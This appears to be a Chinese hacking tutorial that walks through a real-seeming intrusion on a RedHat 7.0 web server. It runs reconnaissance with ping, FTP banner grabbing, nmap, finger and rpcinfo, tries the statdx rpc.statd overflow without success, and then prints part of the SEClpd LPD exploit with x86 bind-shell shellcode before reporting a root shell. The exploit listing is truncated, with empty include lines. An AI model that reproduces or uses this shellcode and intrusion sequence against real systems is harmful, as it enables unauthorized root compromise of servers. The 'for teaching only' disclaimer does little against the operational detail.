仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD：网络打印服务的攻击而进行的。

　　首先确定目标，假设是：www.XXX.com　　先让俺看看是不是连得上： 以下是引用片段：　C:\ping www.XXX.com 　　Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: 　　Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 　　Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 　　Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 　　Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 　　Ping statistics for 202.106.184.200: 　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 　　Approximate round trip times in milli-seconds: 　　Minimum = 511ms, Maximum = 651ms, Average = 580ms 　　嘻嘻―不但连得上，速度还不错…… 　　先telnet看看banner： 　　C:\>telnet www.XXX.com 遗失对主机的连接。

　　再试试ftp, 以下是引用片段：C:\>ftp www.XXX.com 　　Connected to www.fbi.gov.tw. 　　220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. 　　User (www.XXX.com:(none)): wu-2.6.1看来有点眉目了。

这台机器像是RedHat7.0!首先必须确认一下，连上俺的跳板: 以下是引用片段：　C:\>telnet xxx.xxx.xxx.xxx 　　Red Hat Linux release 7.0 (Guinness) 　　Kernel 2.2.16-22smp on an i686 　　login: fetdog 　　Password: 　　bash-2.04$ 拿nmap扫描器，看看其中的奥妙~~~ 以下是引用片段：　bash-2.04$nmap -sT -O www.XXX.com 　　Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) 　　WARNING! The following files exist and are readable: /usr/local/sha 　　-services and ./nmap-services. I am choosing /usr/local/share/nmap/ 　　s for security reasons. set NMAPDIR=. to give priority to files in 　　irectory 　　Interesting ports on (www.XXX.com): 　　(The 1520 ports scanned but not shown below are in state: closed) 　　Port State Service 　　25/tcp open smtp 　　79/tcp open finger 　　80/tcp open http 　　111/tcp open sunrpc 　　113/tcp open auth 　　443/tcp open https 　　513/tcp open login 　　514/tcp open shell 　　515/tcp open printer 　　587/tcp open submission 　　1024/tcp open kdm 　　TCP Sequence Prediction: Class=random positive increments 　　Difficulty=3247917 (Good luck!) 　　Remote operating system guess: Linux 2.1.122 - 2.2.16 　　Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 打开的端口还挺多，这意味着入侵的可能性增加。

79/tcp open finger ，先看看这个，不过linux没有finger用户列表这个漏洞。

以下是引用片段：　bash-2.04$finger @www.XXX.com 　　[www.XXX.com] 　　No one logged on. 再看看111/tcp open sunrpc 。

近来rpc漏洞风行，不知道RH7这个东东会不会有?先看看再说! 以下是引用片段：　bash-2.04$rpcinfo -p www.XXX.com 　　program vers proto port service 　　100000 2 tcp 111 rpcbind 　　100000 2 udp 111 rpcbind 　　100021 1 udp 1024 nlockmgr 　　100021 3 udp 1024 nlockmgr 　　100024 1 udp 1025 status 　　100024 1 tcp 1024 status 看来有rpc.statd服务。

来看看能不能远程溢出拿个rootshell。

以下是引用片段：　bash-2.04$./statdx -h 　　statdx by ron1n 　　Usage: stat [-t] [-p port] [-a addr] [-l len] 　　[-o offset] [-w num] [-s secs] [-d type] 　　-t attack a tcp dispatcher [udp] 　　-p rpc.statd serves requests on [query] 　　-a the stack address of the buffer is 　　-l the length of the buffer is [1024] 　　-o the offset to return to is [600] 　　-w the number of dwords to wipe is [9] 　　-s set timeout in seconds to [5] 　　-d use a hardcoded 　　Available types: 　　0 Redhat 6.2 (nfs-utils-0.1.6-2) 　　1 Redhat 6.1 (knfsd-1.4.7-7) 　　2 Redhat 6.0 (knfsd-1.2.2-4) 　　看来并不支持RH7。

还是继续尝试，把0-2全部试试看再说!start…… 　　bash-2.04$stat -d 0 www.XXX.com 　　buffer: 0xbffff314 length: 999 (+str/+nul) 　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 　　wiping 9 dwords 　　Failed - statd returned res_stat: (failure) state: 21 　　受挫，再试…… 　　bash-2.04$stat -d 1 www.XXX.com 　　buffer: 0xbffff314 length: 999 (+str/+nul) 　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 　　wiping 9 dwords 　　Failed - statd returned res_stat: (failure) state: 21 一样``继续以下是引用片段：　bash-2.04$stat -d 1 www.XXX.com 　　buffer: 0xbffff314 length: 999 (+str/+nul) 　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 　　wiping 9 dwords 　　Failed - statd returned res_stat: (failure) state: 21 rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。

“seclpd.c”应该是这个东东了。

　　―――――以下代码仅供教学使用，决不能用来进行恶意攻击―――――　　 以下是引用片段：　/* 　　* Welcome to http://hlc.cnroot.com/ 　　* Run: ./SEClpd victim brute -t type 　　* Try first ./SEClpd victim -t 0 then try the brute. 　　*/ 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#include 　　#define ADDRESS_BUFFER_SIZE 32+4 　　#define APPEND_BUFFER_SIZE 52 　　#define FORMAT_LENGTH 512-8 　　#define NOPCOUNT 200 　　#define SHELLCODE_COUNT 1030 　　#define DELAY 50000 /* usecs */ 　　#define OFFSET_LIMIT 5000 　　char shellcode[] = 　　"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" 　　"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" 　　"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" 　　"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" 　　"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" 　　"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" 　　"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" 　　"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" 　　"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; brute暴力破解。

等上5-8分钟左右，结果出来了。

以下是引用片段：　- [+] shell located on www.XXX.com 　　- [+] Enter Commands at will 　　Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown 　　uid=0(root) gid=7(lp) uid=0(root权限)，现在可以近一步入侵!但不要做坏事!